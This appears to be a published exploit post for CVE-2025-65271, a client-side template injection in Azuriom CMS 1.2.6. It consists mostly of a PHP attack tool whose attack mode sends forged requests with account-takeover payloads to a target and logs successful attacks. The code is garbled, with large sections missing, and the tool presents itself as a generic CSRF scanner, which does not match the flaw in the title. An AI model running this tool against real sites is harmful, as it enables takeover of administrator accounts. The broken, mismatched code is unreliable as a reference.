============================================================================================================================================= | # Title : Azuriom CMS 1.2.6 Client-Side Template Injection (CSTI) Privilege Escalation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://azuriom.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212658/ & CVE-2025-65271 [+] Summary: A Client-Side Template Injection (CSTI) vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components (widgets, plugins, and admin panels) render untrusted user input inside the administrator’s browser. Low-privileged users can inject template expressions that execute JavaScript in the admin context. Successful exploitation allows: - Arbitrary JavaScript execution in the admin dashboard - Theft of administrator session cookies - Full privilege escalation to admin account - Further compromise of CMS environment The vendor fixed this issue in Azuriom 1.2.7 by sanitizing user input and preventing template expression execution. [+] PoC Description: This PHP-based proof-of-concept demonstrates CSRF/Client-Side Template Injection vulnerabilities. It detects vulnerable forms and generates live attacks or HTML PoCs. Features: - Detection mode: scans forms, CSRF tokens, evaluates SameSite cookies - Attack mode: injects payloads (admin, user, takeover, custom) - Generates `csrf_poc.html` for demonstration - Logs successful attacks and debug info (`csrf_debug.log`) [+] Usage: # Detection only: php csrf_poc.php https://target.com/admin/create # Execute actual attack: php csrf_poc.php https://target.com/user/update --attack --payload=takeover # Optional: use proxy and verbose output php csrf_poc.php https://target.com/api/users --attack --proxy=http://127.0.0.1:8080 -v [+] Output: - csrf_report.txt → Detailed scan report - csrf_poc.html → HTML proof-of-concept - csrf_debug.log → Debug info - successful_attacks.log → Successful attack attempts =================== '', 'action' => 'detect', 'payload' => 'admin', 'output' => 'cli', 'delay' => 1, 'threads' => 1, 'proxy' => '', 'verbose' => false ]; if (count($argv) < 2) { show_usage(); exit(1); } $params['url'] = $argv[1]; for ($i = 2; $i < count($argv); $i++) { if ($argv[$i] == '--attack' || $argv[$i] == '-a') { $params['action'] = 'attack'; } elseif ($argv[$i] == '--detect' || $argv[$i] == '-d') { $params['action'] = 'detect'; } elseif (strpos($argv[$i], '--payload=') === 0) { $params['payload'] = substr($argv[$i], 10); } elseif ($argv[$i] == '--verbose' || $argv[$i] == '-v') { $params['verbose'] = true; } elseif (strpos($argv[$i], '--proxy=') === 0) { $params['proxy'] = substr($argv[$i], 8); } elseif ($argv[$i] == '--help' || $argv[$i] == '-h') { show_usage(); exit(0); } } return $params; } function show_usage() { echo COLOR_BOLD . "Usage:\n" . COLOR_RESET; echo " php " . basename(__FILE__) . " URL [OPTIONS]\n\n"; echo COLOR_BOLD . "Options:\n" . COLOR_RESET; echo " --attack, -a Execute actual attack\n"; echo " --detect, -d Only detect vulnerabilities (default)\n"; echo " --payload=TYPE Payload type: admin, user, takeover, custom\n"; echo " --proxy=PROXY Use proxy (format: http://proxy:port)\n"; echo " --verbose, -v Verbose output\n"; echo " --help, -h Show this help\n\n"; echo COLOR_BOLD . "Examples:\n" . COLOR_RESET; echo " php " . basename(__FILE__) . " https://target.com/admin/create\n"; echo " php " . basename(__FILE__) . " https://target.com/user/update --attack\n"; echo " php " . basename(__FILE__) . " https://target.com/api/users --payload=takeover\n"; } // Logger class Logger { public static function log($message, $type = 'INFO') { $timestamp = date('Y-m-d H:i:s'); $log_message = "[$timestamp] [$type] $message\n"; file_put_contents(DEBUG_FILE, $log_message, FILE_APPEND); if ($type == 'SUCCESS') { file_put_contents(SUCCESS_FILE, $log_message, FILE_APPEND); echo COLOR_GREEN . "[+] $message" . COLOR_RESET . "\n"; } elseif ($type == 'ERROR') { echo COLOR_RED . "[-] $message" . COLOR_RESET . "\n"; } elseif ($type == 'WARNING') { echo COLOR_YELLOW . "[!] $message" . COLOR_RESET . "\n"; } else { echo "[*] $message\n"; } } public static function debug($message) { global $params; if ($params['verbose']) { echo COLOR_BLUE . "[DEBUG] $message" . COLOR_RESET . "\n"; } self::log($message, 'DEBUG'); } } // HTTP Client class HttpClient { private $ch; private $proxy; public function __construct($proxy = '') { $this->proxy = $proxy; $this->init(); } private function init() { $this->ch = curl_init(); curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->ch, CURLOPT_TIMEOUT, 30); curl_setopt($this->ch, CURLOPT_USERAGENT, USER_AGENT); curl_setopt($this->ch, CURLOPT_COOKIEFILE, COOKIE_FILE); curl_setopt($this->ch, CURLOPT_COOKIEJAR, COOKIE_FILE); if ($this->proxy) { curl_setopt($this->ch, CURLOPT_PROXY, $this->proxy); } } public function get($url, $headers = []) { curl_setopt($this->ch, CURLOPT_URL, $url); curl_setopt($this->ch, CURLOPT_HTTPGET, true); curl_setopt($this->ch, CURLOPT_POST, false); $default_headers = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Accept-Encoding: gzip, deflate', 'Connection: keep-alive', 'Upgrade-Insecure-Requests: 1', 'Cache-Control: max-age=0' ]; $all_headers = array_merge($default_headers, $headers); curl_setopt($this->ch, CURLOPT_HTTPHEADER, $all_headers); $response = curl_exec($this->ch); $info = curl_getinfo($this->ch); if (curl_errno($this->ch)) { Logger::debug("CURL Error: " . curl_error($this->ch)); } return [ 'body' => $response, 'info' => $info, 'headers' => $this->extract_headers($response) ]; } public function post($url, $data, $headers = [], $content_type = 'form') { curl_setopt($this->ch, CURLOPT_URL, $url); curl_setopt($this->ch, CURLOPT_POST, true); if ($content_type == 'json') { $post_data = json_encode($data); $headers[] = 'Content-Type: application/json'; $headers[] = 'X-Requested-With: XMLHttpRequest'; } elseif ($content_type == 'multipart') { $post_data = $data; $headers[] = 'Content-Type: multipart/form-data'; } else { $post_data = http_build_query($data); $headers[] = 'Content-Type: application/x-www-form-urlencoded'; } curl_setopt($this->ch, CURLOPT_POSTFIELDS, $post_data); $default_headers = [ 'Accept: application/json, text/html, */*', 'Accept-Language: en-US,en;q=0.5', 'Origin: ' . parse_url($url, PHP_URL_SCHEME) . '://' . parse_url($url, PHP_URL_HOST), 'Referer: ' . $url, ]; $all_headers = array_merge($default_headers, $headers); curl_setopt($this->ch, CURLOPT_HTTPHEADER, $all_headers); $response = curl_exec($this->ch); $info = curl_getinfo($this->ch); return [ 'body' => $response, 'info' => $info ]; } private function extract_headers($response) { $headers = []; // Try to extract cookies if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) { $headers['cookies'] = $matches[1]; } return $headers; } public function __destruct() { if ($this->ch) { curl_close($this->ch); } } } // CSRF Detector class CSRFDetector { private $http; public function __construct($http) { $this->http = $http; } public function scan($url) { Logger::log("Starting CSRF vulnerability scan..."); $results = [ 'vulnerable' => false, 'protection' => 'unknown', 'tokens' => [], 'forms' => [] ]; // Step 1: Fetch the page $response = $this->http->get($url); if ($response['info']['http_code'] != 200) { Logger::log("Failed to fetch page. HTTP Code: " . $response['info']['http_code'], 'ERROR'); return $results; } $html = $response['body']; // Step 2: Extract forms $forms = $this->extract_forms($html, $url); $results['forms'] = $forms; // Step 3: Check for CSRF tokens $tokens = $this->find_csrf_tokens($html); $results['tokens'] = $tokens; // Step 4: Analyze protection if (empty($tokens)) { $results['protection'] = 'none'; $results['vulnerable'] = true; Logger::log("No CSRF tokens found - Application may be vulnerable!", 'WARNING'); } else { Logger::log("Found " . count($tokens) . " CSRF tokens", 'INFO'); $results['protection'] = 'token_based'; // Test if tokens are actually validated $is_validated = $this->test_token_validation($url, $tokens); if (!$is_validated) { $results['vulnerable'] = true; Logger::log("CSRF tokens found but validation appears weak!", 'WARNING'); } } // Step 5: Test SameSite cookies $samesite = $this->check_samesite_cookies($response['headers']); if ($samesite == 'none' || $samesite == 'not_set') { $results['vulnerable'] = true; Logger::log("SameSite cookies not properly set", 'WARNING'); } return $results; } private function extract_forms($html, $base_url) { $forms = []; if (preg_match_all('/
Loading attack...
Target: ' . htmlspecialchars($url) . '
Time: ' . date('Y-m-d H:i:s') . '
Payload: ' . htmlspecialchars(json_encode($payload)) . '